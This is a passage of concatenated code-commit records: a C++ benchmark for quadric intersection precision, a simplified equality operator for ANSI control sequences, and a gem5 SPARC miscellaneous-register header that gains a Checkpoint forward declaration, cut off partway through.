QuadricClassify::classifyQuadric(q);\n if(!QuadricClassify::isImaginary(type) &&\n type != QuadricClassify::QUADT_ERROR &&\n type != QuadricClassify::QUADT_DEGENERATE &&\n type != QuadricClassify::QUADT_ERRORINVALID) {\n quads.push_back(q);\n qtypeCount[type]++;\n } else {\n std::cout << \"Quadric \" << numQuads\n << \" is invalid, returned type \"\n << QuadricClassify::QuadTypeNames[type]\n << \"\\n\";\n imQuads++;\n }\n numQuads++;\n }\n for(int i = 0; i < QuadricClassify::QUADT_ERRORINVALID;\n i++) {\n std::cout << qtypeCount[i] << \" \"\n << QuadricClassify::QuadTypeNames[i] << \"\\n\";\n }\n return quads;\n}\n\nbool isSameInt(mpfr::mpreal int1, mpfr::mpreal int2) {\n \/* Use a heuristic on truth to determine whether adjacent\n * intersections occur at the same place.\n * This will basically be a threshold on the largest\n * different bit in the mantissa.\n *\/\n \/* A relative heuristic does not work when one (or both!)\n * is 0 *\/\n if(int1 == 0.0 || int2 == 0.0) {\n constexpr const double eps = 0.000001;\n return (mpfr::fabs(int1 - int2) < eps);\n }\n mpfr::mpreal largest =\n mpfr::max(mpfr::fabs(int1), mpfr::fabs(int2));\n mp_exp_t largestExp = largest.get_exp();\n mpfr::mpreal diff = mpfr::fabs(int1 - int2);\n int p1 = int1.getPrecision(), p2 = int2.getPrecision();\n int minPrec = std::min(p1, p2);\n mp_exp_t maxExp = largestExp - minPrec * 1 \/ 48,\n diffExp = diff.get_exp();\n return maxExp >= diffExp;\n}\n\ntemplate <typename ListTest, typename ListTrue>\nbool validateResults(ListTest &inter, ListTrue &truth) {\n \/* Note that because the same method is used to determine\n * if an intersection is in the list, these lists will be\n * the same length\n *\/\n if(inter->size() != truth->size()) {\n return false;\n }\n auto j = truth->begin();\n for(auto i = inter->begin();\n i != inter->end() || j != truth->end(); i++, j++) {\n if(i->q != j->q || i->intPos != j->intPos) {\n return false;\n }\n }\n return true;\n}\n\ntemplate <typename List>\nint countIP(List inter) {\n int numIP = 0;\n for(auto i : *inter) numIP += i.incPrecCount();\n return numIP;\n}\n\nusing rngAlg = std::mt19937_64;\n\ntemplate <int dim, typename fptype>\nusing randLineGen = Geometry::Line<dim, fptype> (*)(\n rngAlg &rng, int minExp, int maxExp);\n\ntemplate <int dim, typename fptype, typename cmpAlg>\nstd::shared_ptr<std::list<cmpAlg>> __attribute__((noinline))\nrunTest(\n std::list<Geometry::Quadric<dim, fptype>> &quads,\n Geometry::Line<dim, fptype> &line, Timer::Timer &timer,\n double eps = std::numeric_limits<fptype>::infinity()) {\n timer.startTimer();\n auto inter =\n Geometry::sortIntersections<dim, fptype, cmpAlg>(\n line, quads, fptype(eps));\n timer.stopTimer();\n return inter;\n}\n\ntemplate <int dim, typename fptype>\nvoid intersectionTest(\n std::list<Geometry::Quadric<dim, fptype>> &quads,\n std::ostream &results, const int numTests,\n randLineGen<dim, fptype> rlgf, int minExp, int maxExp) {\n \/* First build a scene of quadrics.\n * Then generate random lines on a disk centered at the\n * intersection of the cylinders.\n * Then sort the intersections\n * Finally validate them with a higher precision sort\n *\/\n using Vf = Geometry::Vector<dim, fptype>;\n using Pf = Geometry::Point<dim, fptype>;\n using Lf = Geometry::Line<dim, fptype>;\n\n std::random_device rd;\n rngAlg engine(rd());\n\n const double eps = 1.52587890625e-5;\n\n constexpr const int numTestTypes = 3;\n Timer::Timer testTimes[numTestTypes];\n struct TimeArr {\n struct TestData {\n long long ns;\n int numIP;\n bool correct;\n } mpTime, fpTime, resTime;\n } *times = new struct TimeArr[numTests];\n \/* Run the tests *\/\n int t;\n for(t = 0; t < numTests && globals.run; t++) {\n Lf line = rlgf(engine, minExp, maxExp);\n \/* Then sort the intersections *\/\n auto resultant = runTest<\n dim, fptype,\n Geometry::IntersectionResultant<dim, fptype>>(\n quads, line, testTimes[0], eps);\n auto fpApproximate = runTest<\n dim, fptype,\n Geometry::IntersectionApproximate<dim, fptype>>(\n quads, line, testTimes[1], eps);\n auto mpApproximate = runTest<\n dim, fptype,\n Geometry::IntersectionIncreasedPrec<dim, fptype>>(\n quads, line, testTimes[2], eps);\n\n times[t].resTime.ns = testTimes[0].instant_ns();\n times[t].fpTime.ns = testTimes[1].instant_ns();\n times[t].mpTime.ns = testTimes[2].instant_ns();\n\n times[t].mpTime.correct =\n validateResults(mpApproximate, resultant);\n times[t].fpTime.correct =\n validateResults(fpApproximate, resultant);\n\n times[t].resTime.numIP = countIP(resultant);\n times[t].fpTime.numIP = countIP(fpApproximate);\n times[t].mpTime.numIP = countIP(mpApproximate);\n }\n \/* Output all of the results *\/\n results << \"Test #, Approximate Times (ns), Approximates \"\n \"Correct, Increased Precs, MP Time (ns), MP \"\n \"Correct, Resultants, Resultant Time (ns)\\n\";\n int resTotIP = 0;\n int fpTotIP = 0;\n int mpTotIP = 0;\n int mpTotIncorrect = 0;\n int fpTotIncorrect = 0;\n for(int i = 0; i < t; i++) {\n results << i + 1 << \", \" << times[i].fpTime.ns << \", \"\n << times[i].fpTime.correct << \", \"\n << times[i].mpTime.numIP << \", \"\n << times[i].mpTime.ns << \", \"\n << times[i].mpTime.correct << \", \"\n << times[i].resTime.numIP << \", \"\n << times[i].resTime.ns << \"\\n\";\n resTotIP += times[i].resTime.numIP;\n mpTotIP += times[i].mpTime.numIP;\n fpTotIncorrect += 1 - times[i].fpTime.correct;\n mpTotIncorrect += 1 - times[i].mpTime.correct;\n }\n results << \"\\n\"\n << \"Total FP Time: \" << testTimes[1].elapsed_s()\n << \".\" << std::setw(9) << std::setfill('0')\n << testTimes[1].elapsed_ns() << \"\\n\"\n << \"Total FP Disagreements: \" << fpTotIncorrect\n << \"\\n\\n\"\n\n << \"Total MP Computations: \" << mpTotIP << \"\\n\"\n << \"Total MP Time (s): \"\n << testTimes[2].elapsed_s() << \".\" << std::setw(9)\n << std::setfill('0') << testTimes[2].elapsed_ns()\n << \"\\n\"\n << \"Total MP Disagreements: \"\n << mpTotIncorrect << \"\\n\\n\"\n\n << \"Total Resultant Computations: \" << resTotIP\n << \"\\n\"\n << \"Total Resultant Time (s): \"\n << testTimes[0].elapsed_s() << \".\" << std::setw(9)\n << std::setfill('0') << testTimes[0].elapsed_ns()\n << \"\\n\";\n delete[] times;\n}\n\nvoid lockCPU() {\n const int numCPUs = sysconf(_SC_NPROCESSORS_ONLN);\n const int cpuSets =\n numCPUs \/ CPU_SETSIZE + ((numCPUs % CPU_SETSIZE) > 0);\n cpu_set_t *cpus = new cpu_set_t[cpuSets];\n const size_t cpuSize = sizeof(cpu_set_t[cpuSets]);\n sched_getaffinity(0, cpuSize, cpus);\n for(int i = 1; i < numCPUs; i++) CPU_CLR(i, cpus);\n CPU_SET(0, cpus);\n sched_setaffinity(0, cpuSize, cpus);\n delete[] cpus;\n}\n\ntemplate <typename fptype>\nbool checkExp(fptype fpVal, int minExp, int maxExp) {\n if(fpVal == fptype(0.0)) {\n return true;\n }\n GenericFP::fpconvert<fptype> *fpbits =\n reinterpret_cast<GenericFP::fpconvert<fptype> *>(\n &fpVal);\n int exponent = fpbits->exponent;\n exponent -= fpbits->centralExp;\n if(exponent < minExp || exponent > maxExp) {\n return false;\n } else {\n return true;\n }\n}\n\ntemplate <int dim, typename fptype>\nGeometry::Line<dim, fptype> defRandLine(rngAlg &rng,\n int minExp,\n int maxExp) {\n constexpr const fptype minPos = 0, maxPos = 1;\n std::uniform_real_distribution<fptype> genPos(minPos,\n maxPos);\n std::uniform_real_distribution<fptype> genDir(-1.0, 1.0);\n \/* First build the line *\/\n Geometry::Vector<dim, fptype> lineDir;\n Geometry::Vector<dim, fptype> lineInt;\n for(int i = 0; i < dim; i++) {\n do {\n lineInt.set(i, genPos(rng));\n } while(checkExp(lineInt.get(i), minExp, maxExp) ==\n false);\n do {\n lineDir.set(i, genDir(rng));\n } while(checkExp(lineDir.get(i), minExp, maxExp) ==\n false);\n }\n return Geometry::Line<dim, fptype>(\n Geometry::Point<dim, fptype>(lineInt), lineInt);\n}\n\ntemplate <int dim, typename fptype>\nGeometry::Line<dim, fptype> nestedEllRandLine(rngAlg &rng,\n int minExp,\n int maxExp) {\n constexpr const fptype minPos = 0.0, maxPos = 1.0;\n std::uniform_real_distribution<fptype> genPos(minPos,\n maxPos);\n Geometry::Vector<dim, fptype> lineInt;\n for(int i = 0; i < dim; i++) {\n fptype tmp = genPos(rng);\n lineInt.set(i, genPos(rng));\n }\n \/* Direct the line towards (1.0, 0.5, 0.5) *\/\n const Geometry::Vector<dim, fptype> destination(\n {1.0, 0.5, 0.5});\n Geometry::Vector<dim, fptype> lineDir =\n destination - lineInt;\n return Geometry::Line<dim, fptype>(\n Geometry::Point<dim, fptype>(lineInt), lineDir);\n}\n\ntemplate <int dim, typename fptype>\nGeometry::Line<dim, fptype> cylRandLine(rngAlg &rng,\n int minExp,\n int maxExp) {\n constexpr const fptype minPos = 0.375, maxPos = 0.625;\n std::uniform_real_distribution<fptype> genPos(minPos,\n maxPos);\n std::uniform_real_distribution<fptype> genDir(-1.0, 1.0);\n \/* First build the line *\/\n Geometry::Vector<dim, fptype> lineDir;\n Geometry::Vector<dim, fptype> lineInt;\n lineInt.set(1, genPos(rng));\n for(int i = 0; i < dim; i++) {\n lineInt.set(i, lineInt.get(1));\n lineDir.set(i, genDir(rng));\n }\n lineInt.set(0, genPos(rng));\n return Geometry::Line<dim, fptype>(\n Geometry::Point<dim, fptype>(lineInt), lineInt);\n}\n\nint main(int argc, char **argv) {\n using fptype = float;\n constexpr const int dim = 3;\n lockCPU();\n std::list<Geometry::Quadric<dim, fptype>> quads;\n const char *outFName = \"results\";\n int numTests = 1e4;\n int minExp, maxExp;\n if(argc > 1) {\n quads = parseQuadrics<dim, fptype>(argv[1], &minExp,\n &maxExp);\n } else {\n quads = parseQuadrics<dim, fptype>(\"cylinders.csg\",\n &minExp, &maxExp);\n }\n if(argc > 2) {\n outFName = argv[2];\n }\n if(argc > 3) {\n numTests = atoi(argv[3]);\n }\n randLineGen<dim, fptype> rlg = cylRandLine<dim, fptype>;\n if(argc > 4) {\n int lineGenAlg = atoi(argv[4]);\n switch(lineGenAlg) {\n case 1:\n rlg = nestedEllRandLine<dim, fptype>;\n\t\t\t\tstd::cout << \"Using the nested spheres random lines\\n\";\n break;\n case 2:\n\t\t\t\tstd::cout << \"Using the cylinders random lines\\n\";\n rlg = cylRandLine<dim, fptype>;\n break;\n default:\n\t\t\t\tstd::cout << \"Using the default random lines\\n\";\n rlg = defRandLine<dim, fptype>;\n }\n }\n std::ofstream results(outFName);\n signal(SIGINT, sigInt);\n intersectionTest(quads, results, numTests, rlg, minExp,\n maxExp);\n return 0;\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"terminalpp\/ansi\/control_sequence.hpp\"\n#include <iostream>\n\nnamespace terminalpp { namespace ansi {\n\nbool operator==(control_sequence const &lhs, control_sequence const &rhs)\n{\n if (lhs.initiator == rhs.initiator\n && lhs.command == rhs.command\n && lhs.meta == rhs.meta)\n {\n \/\/ TODO: look up an algorithm to do this. Mismatch? Equal_Range\n if (lhs.arguments.size() != rhs.arguments.size())\n {\n return false;\n }\n\n for (auto itl = lhs.arguments.begin(), itr = rhs.arguments.begin();\n itl != lhs.arguments.end();\n ++itl, ++itr)\n {\n if (*itl != *itr)\n {\n return false;\n }\n }\n\n return true;\n }\n\n return false;\n}\n\n}}\n<commit_msg>Simplified ansi control sequence equality operator.<commit_after>#include \"terminalpp\/ansi\/control_sequence.hpp\"\n\nnamespace terminalpp { namespace ansi {\n\nbool operator==(control_sequence const &lhs, control_sequence const &rhs)\n{\n return lhs.initiator == rhs.initiator\n && lhs.command == rhs.command\n && lhs.meta == rhs.meta\n && lhs.arguments.size() == rhs.arguments.size()\n && lhs.arguments == rhs.arguments;\n}\n\n}}\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright (c) 2003-2005 The Regents of The University of Michigan\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are\n * met: redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer;\n * redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in the\n * documentation and\/or other materials provided with the distribution;\n * neither the name of the copyright holders nor the names of its\n * contributors may be used to endorse or promote products derived from\n * this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\n * Authors: Gabe Black\n * Ali Saidi\n *\/\n\n#ifndef __ARCH_SPARC_MISCREGFILE_HH__\n#define __ARCH_SPARC_MISCREGFILE_HH__\n\n#include \"arch\/sparc\/faults.hh\"\n#include \"arch\/sparc\/isa_traits.hh\"\n#include \"arch\/sparc\/types.hh\"\n#include \"cpu\/cpuevent.hh\"\n\n#include <string>\n\nnamespace SparcISA\n{\n \/\/These functions map register indices to names\n std::string getMiscRegName(RegIndex);\n\n enum MiscRegIndex\n {\n \/** Ancillary State Registers *\/\n\/\/ MISCREG_Y,\n\/\/ MISCREG_CCR,\n MISCREG_ASI,\n MISCREG_TICK,\n MISCREG_FPRS,\n MISCREG_PCR,\n MISCREG_PIC,\n MISCREG_GSR,\n MISCREG_SOFTINT_SET,\n MISCREG_SOFTINT_CLR,\n MISCREG_SOFTINT, \/* 10 *\/\n MISCREG_TICK_CMPR,\n MISCREG_STICK,\n MISCREG_STICK_CMPR,\n\n \/** Privilged Registers *\/\n MISCREG_TPC,\n MISCREG_TNPC,\n MISCREG_TSTATE,\n MISCREG_TT,\n MISCREG_PRIVTICK,\n MISCREG_TBA,\n MISCREG_PSTATE, \/* 20 *\/\n MISCREG_TL,\n MISCREG_PIL,\n MISCREG_CWP,\n\/\/ MISCREG_CANSAVE,\n\/\/ MISCREG_CANRESTORE,\n\/\/ MISCREG_CLEANWIN,\n\/\/ MISCREG_OTHERWIN,\n\/\/ MISCREG_WSTATE,\n MISCREG_GL,\n\n \/** Hyper privileged registers *\/\n MISCREG_HPSTATE, \/* 30 *\/\n MISCREG_HTSTATE,\n MISCREG_HINTP,\n MISCREG_HTBA,\n MISCREG_HVER,\n MISCREG_STRAND_STS_REG,\n MISCREG_HSTICK_CMPR,\n\n \/** Floating Point Status Register *\/\n MISCREG_FSR,\n\n \/** MMU Internal Registers *\/\n MISCREG_MMU_P_CONTEXT,\n MISCREG_MMU_S_CONTEXT, \/* 40 *\/\n MISCREG_MMU_PART_ID,\n MISCREG_MMU_LSU_CTRL,\n\n MISCREG_MMU_ITLB_C0_TSB_PS0,\n MISCREG_MMU_ITLB_C0_TSB_PS1,\n MISCREG_MMU_ITLB_C0_CONFIG,\n MISCREG_MMU_ITLB_CX_TSB_PS0,\n MISCREG_MMU_ITLB_CX_TSB_PS1,\n MISCREG_MMU_ITLB_CX_CONFIG,\n MISCREG_MMU_ITLB_SFSR,\n MISCREG_MMU_ITLB_TAG_ACCESS, \/* 50 *\/\n\n MISCREG_MMU_DTLB_C0_TSB_PS0,\n MISCREG_MMU_DTLB_C0_TSB_PS1,\n MISCREG_MMU_DTLB_C0_CONFIG,\n MISCREG_MMU_DTLB_CX_TSB_PS0,\n MISCREG_MMU_DTLB_CX_TSB_PS1,\n MISCREG_MMU_DTLB_CX_CONFIG,\n MISCREG_MMU_DTLB_SFSR,\n MISCREG_MMU_DTLB_SFAR,\n MISCREG_MMU_DTLB_TAG_ACCESS,\n\n \/** Scratchpad regiscers **\/\n MISCREG_SCRATCHPAD_R0, \/* 60 *\/\n MISCREG_SCRATCHPAD_R1,\n MISCREG_SCRATCHPAD_R2,\n MISCREG_SCRATCHPAD_R3,\n MISCREG_SCRATCHPAD_R4,\n MISCREG_SCRATCHPAD_R5,\n MISCREG_SCRATCHPAD_R6,\n MISCREG_SCRATCHPAD_R7,\n\n \/* CPU Queue Registers *\/\n MISCREG_QUEUE_CPU_MONDO_HEAD,\n MISCREG_QUEUE_CPU_MONDO_TAIL,\n MISCREG_QUEUE_DEV_MONDO_HEAD, \/* 70 *\/\n MISCREG_QUEUE_DEV_MONDO_TAIL,\n MISCREG_QUEUE_RES_ERROR_HEAD,\n MISCREG_QUEUE_RES_ERROR_TAIL,\n MISCREG_QUEUE_NRES_ERROR_HEAD,\n MISCREG_QUEUE_NRES_ERROR_TAIL,\n\n \/* All the data for the TLB packed up in one register. *\/\n MISCREG_TLB_DATA,\n MISCREG_NUMMISCREGS\n };\n\n struct HPSTATE {\n const static uint64_t id = 0x800; \/\/ this impl. dependent (id) field m\n const static uint64_t ibe = 0x400;\n const static uint64_t red = 0x20;\n const static uint64_t hpriv = 0x4;\n const static uint64_t tlz = 0x1;\n };\n\n\n struct PSTATE {\n const static int cle = 0x200;\n const static int tle = 0x100;\n const static int mm = 0xC0;\n const static int pef = 0x10;\n const static int am = 0x8;\n const static int priv = 0x4;\n const static int ie = 0x2;\n };\n\n\n const int NumMiscArchRegs = MISCREG_NUMMISCREGS;\n const int NumMiscRegs = MISCREG_NUMMISCREGS;\n\n \/\/ The control registers, broken out into fields\n class MiscRegFile\n {\n private:\n\n \/* ASR Registers *\/\n \/\/uint64_t y;\t\t\/\/ Y (used in obsolete multiplication)\n \/\/uint8_t ccr;\t\t\/\/ Condition Code Register\n uint8_t asi;\t\t\/\/ Address Space Identifier\n uint64_t tick;\t\t\/\/ Hardware clock-tick counter\n uint8_t\tfprs;\t\t\/\/ Floating-Point Register State\n uint64_t gsr;\t\t\/\/ General Status Register\n uint64_t softint;\n uint64_t tick_cmpr;\t\/\/ Hardware tick compare registers\n uint64_t stick;\t\t\/\/ Hardware clock-tick counter\n uint64_t stick_cmpr;\t\/\/ Hardware tick compare registers\n\n\n \/* Privileged Registers *\/\n uint64_t tpc[MaxTL];\t\/\/ Trap Program Counter (value from\n \/\/ previous trap level)\n uint64_t tnpc[MaxTL];\t\/\/ Trap Next Program Counter (value from\n \/\/ previous trap level)\n uint64_t tstate[MaxTL];\t\/\/ Trap State\n uint16_t tt[MaxTL];\t\/\/ Trap Type (Type of trap which occured\n \/\/ on the previous level)\n uint64_t tba;\t\t\/\/ Trap Base Address\n\n uint16_t pstate;\t\/\/ Process State Register\n uint8_t tl;\t\t\/\/ Trap Level\n uint8_t pil;\t\t\/\/ Process Interrupt Register\n uint8_t cwp;\t\t\/\/ Current Window Pointer\n \/\/uint8_t cansave;\t\/\/ Savable windows\n \/\/uint8_t canrestore;\t\/\/ Restorable windows\n \/\/uint8_t cleanwin;\t\/\/ Clean windows\n \/\/uint8_t otherwin;\t\/\/ Other windows\n \/\/uint8_t wstate;\t\t\/\/ Window State\n uint8_t gl; \/\/ Global level register\n\n \/** Hyperprivileged Registers *\/\n uint64_t hpstate;\t\/\/ Hyperprivileged State Register\n uint64_t htstate[MaxTL];\/\/ Hyperprivileged Trap State Register\n uint64_t hintp;\n uint64_t htba;\t\t\/\/ Hyperprivileged Trap Base Address register\n uint64_t hstick_cmpr;\t\/\/ Hardware tick compare registers\n\n uint64_t strandStatusReg;\/\/ Per strand status register\n\n \/** Floating point misc registers. *\/\n uint64_t fsr;\t\t\/\/ Floating-Point State Register\n\n \/** MMU Internal Registers *\/\n uint16_t priContext;\n uint16_t secContext;\n uint16_t partId;\n uint64_t lsuCtrlReg;\n\n uint64_t iTlbC0TsbPs0;\n uint64_t iTlbC0TsbPs1;\n uint64_t iTlbC0Config;\n uint64_t iTlbCXTsbPs0;\n uint64_t iTlbCXTsbPs1;\n uint64_t iTlbCXConfig;\n uint64_t iTlbSfsr;\n uint64_t iTlbTagAccess;\n\n uint64_t dTlbC0TsbPs0;\n uint64_t dTlbC0TsbPs1;\n uint64_t dTlbC0Config;\n uint64_t dTlbCXTsbPs0;\n uint64_t dTlbCXTsbPs1;\n uint64_t dTlbCXConfig;\n uint64_t dTlbSfsr;\n uint64_t dTlbSfar;\n uint64_t dTlbTagAccess;\n\n uint64_t scratchPad[8];\n\n uint64_t cpu_mondo_head;\n uint64_t cpu_mondo_tail;\n uint64_t dev_mondo_head;\n uint64_t dev_mondo_tail;\n uint64_t res_error_head;\n uint64_t res_error_tail;\n uint64_t nres_error_head;\n uint64_t nres_error_tail;\n\n \/\/ These need to check the int_dis field and if 0 then\n \/\/ set appropriate bit in softint and checkinterrutps on the cpu\n#if FULL_SYSTEM\n void setFSRegWithEffect(int miscReg, const MiscReg &val,\n ThreadContext *tc);\n MiscReg readFSRegWithEffect(int miscReg, ThreadContext * tc);\n\n \/\/ Update interrupt state on softint or pil change\n void checkSoftInt(ThreadContext *tc);\n\n \/** Process a tick compare event and generate an interrupt on the cpu if\n * appropriate. *\/\n void processTickCompare(ThreadContext *tc);\n void processSTickCompare(ThreadContext *tc);\n void processHSTickCompare(ThreadContext *tc);\n\n typedef CpuEventWrapper<MiscRegFile,\n &MiscRegFile::processTickCompare> TickCompareEvent;\n TickCompareEvent *tickCompare;\n\n typedef CpuEventWrapper<MiscRegFile,\n &MiscRegFile::processSTickCompare> STickCompareEvent;\n STickCompareEvent *sTickCompare;\n\n typedef CpuEventWrapper<MiscRegFile,\n &MiscRegFile::processHSTickCompare> HSTickCompareEvent;\n HSTickCompareEvent *hSTickCompare;\n#endif\n public:\n\n void clear();\n\n MiscRegFile()\n {\n clear();\n }\n\n MiscReg readReg(int miscReg);\n\n MiscReg readRegWithEffect(int miscReg, ThreadContext *tc);\n\n void setReg(int miscReg, const MiscReg &val);\n\n void setRegWithEffect(int miscReg,\n const MiscReg &val, ThreadContext * tc);\n\n int getInstAsid()\n {\n return priContext | (uint32_t)partId << 13;\n }\n\n int getDataAsid()\n {\n return priContext | (uint32_t)partId << 13;\n }\n\n void serialize(std::ostream & os);\n\n void unserialize(Checkpoint * cp, const std::string & section);\n\n void copyMiscRegs(ThreadContext * tc);\n\n protected:\n\n bool isHyperPriv() { return (hpstate & (1 << 2)); }\n bool isPriv() { return (hpstate & (1 << 2)) || (pstate & (1 << 2)); }\n bool isNonPriv() { return !isPriv(); }\n };\n}\n\n#endif\n<commit_msg>Add in a declaration of class Checkpoint rather than expecting it to come from some other include.<commit_after>\/*\n * Copyright (c) 2003-2005 The Regents of The University of Michigan\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are\n * met: redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer;\n * redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in the\n * documentation and\/or other materials provided with the distribution;\n * neither the name of the copyright holders nor the names of its\n * contributors may be used to endorse or promote products derived from\n * this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\n * Authors: Gabe Black\n * Ali Saidi\n *\/\n\n#ifndef __ARCH_SPARC_MISCREGFILE_HH__\n#define __ARCH_SPARC_MISCREGFILE_HH__\n\n#include \"arch\/sparc\/faults.hh\"\n#include \"arch\/sparc\/isa_traits.hh\"\n#include \"arch\/sparc\/types.hh\"\n#include \"cpu\/cpuevent.hh\"\n\n#include <string>\n\nclass Checkpoint;\n\nnamespace SparcISA\n{\n \/\/These functions map register indices to names\n std::string getMiscRegName(RegIndex);\n\n enum MiscRegIndex\n {\n \/** Ancillary State Registers *\/\n\/\/ MISCREG_Y,\n\/\/ MISCREG_CCR,\n MISCREG_ASI,\n MISCREG_TICK,\n MISCREG_FPRS,\n MISCREG_PCR,\n MISCREG_PIC,\n MISCREG_GSR,\n MISCREG_SOFTINT_SET,\n MISCREG_SOFTINT_CLR,\n MISCREG_SOFTINT, \/* 10 *\/\n MISCREG_TICK_CMPR,\n MISCREG_STICK,\n MISCREG_STICK_CMPR,\n\n \/** Privilged Registers *\/\n MISCREG_TPC,\n MISCREG_TNPC,\n MISCREG_TSTATE,\n MISCREG_TT,\n MISCREG_PRIVTICK,\n MISCREG_TBA,\n MISCREG_PSTATE, \/* 20 *\/\n MISCREG_TL,\n MISCREG_PIL,\n MISCREG_CWP,\n\/\/ MISCREG_CANSAVE,\n\/\/ MISCREG_CANRESTORE,\n\/\/ MISCREG_CLEANWIN,\n\/\/ MISCREG_OTHERWIN,\n\/\/ MISCREG_WSTATE,\n MISCREG_GL,\n\n \/** Hyper privileged registers *\/\n MISCREG_HPSTATE, \/* 30 *\/\n MISCREG_HTSTATE,\n MISCREG_HINTP,\n MISCREG_HTBA,\n MISCREG_HVER,\n MISCREG_STRAND_STS_REG,\n MISCREG_HSTICK_CMPR,\n\n \/** Floating Point Status Register *\/\n MISCREG_FSR,\n\n \/** MMU Internal Registers *\/\n MISCREG_MMU_P_CONTEXT,\n MISCREG_MMU_S_CONTEXT, \/* 40 *\/\n MISCREG_MMU_PART_ID,\n MISCREG_MMU_LSU_CTRL,\n\n MISCREG_MMU_ITLB_C0_TSB_PS0,\n MISCREG_MMU_ITLB_C0_TSB_PS1,\n MISCREG_MMU_ITLB_C0_CONFIG,\n MISCREG_MMU_ITLB_CX_TSB_PS0,\n MISCREG_MMU_ITLB_CX_TSB_PS1,\n MISCREG_MMU_ITLB_CX_CONFIG,\n MISCREG_MMU_ITLB_SFSR,\n MISCREG_MMU_ITLB_TAG_ACCESS, \/* 50 *\/\n\n MISCREG_MMU_DTLB_C0_TSB_PS0,\n MISCREG_MMU_DTLB_C0_TSB_PS1,\n MISCREG_MMU_DTLB_C0_CONFIG,\n MISCREG_MMU_DTLB_CX_TSB_PS0,\n MISCREG_MMU_DTLB_CX_TSB_PS1,\n MISCREG_MMU_DTLB_CX_CONFIG,\n MISCREG_MMU_DTLB_SFSR,\n MISCREG_MMU_DTLB_SFAR,\n MISCREG_MMU_DTLB_TAG_ACCESS,\n\n \/** Scratchpad regiscers **\/\n MISCREG_SCRATCHPAD_R0, \/* 60 *\/\n MISCREG_SCRATCHPAD_R1,\n MISCREG_SCRATCHPAD_R2,\n MISCREG_SCRATCHPAD_R3,\n MISCREG_SCRATCHPAD_R4,\n MISCREG_SCRATCHPAD_R5,\n MISCREG_SCRATCHPAD_R6,\n MISCREG_SCRATCHPAD_R7,\n\n \/* CPU Queue Registers *\/\n MISCREG_QUEUE_CPU_MONDO_HEAD,\n MISCREG_QUEUE_CPU_MONDO_TAIL,\n MISCREG_QUEUE_DEV_MONDO_HEAD, \/* 70 *\/\n MISCREG_QUEUE_DEV_MONDO_TAIL,\n MISCREG_QUEUE_RES_ERROR_HEAD,\n MISCREG_QUEUE_RES_ERROR_TAIL,\n MISCREG_QUEUE_NRES_ERROR_HEAD,\n MISCREG_QUEUE_NRES_ERROR_TAIL,\n\n \/* All the data for the TLB packed up in one register. *\/\n MISCREG_TLB_DATA,\n MISCREG_NUMMISCREGS\n };\n\n struct HPSTATE {\n const static uint64_t id = 0x800; \/\/ this impl. dependent (id) field m\n const static uint64_t ibe = 0x400;\n const static uint64_t red = 0x20;\n const static uint64_t hpriv = 0x4;\n const static uint64_t tlz = 0x1;\n };\n\n\n struct PSTATE {\n const static int cle = 0x200;\n const static int tle = 0x100;\n const static int mm = 0xC0;\n const static int pef = 0x10;\n const static int am = 0x8;\n const static int priv = 0x4;\n const static int ie = 0x2;\n };\n\n\n const int NumMiscArchRegs = MISCREG_NUMMISCREGS;\n const int NumMiscRegs = MISCREG_NUMMISCREGS;\n\n \/\/ The control registers, broken out into fields\n class MiscRegFile\n {\n private:\n\n \/* ASR Registers *\/\n \/\/uint64_t y;\t\t\/\/ Y (used in obsolete multiplication)\n \/\/uint8_t ccr;\t\t\/\/ Condition Code Register\n uint8_t asi;\t\t\/\/ Address Space Identifier\n uint64_t tick;\t\t\/\/ Hardware clock-tick counter\n uint8_t\tfprs;\t\t\/\/ Floating-Point Register State\n uint64_t gsr;\t\t\/\/ General Status Register\n uint64_t softint;\n uint64_t tick_cmpr;\t\/\/ Hardware tick compare registers\n uint64_t 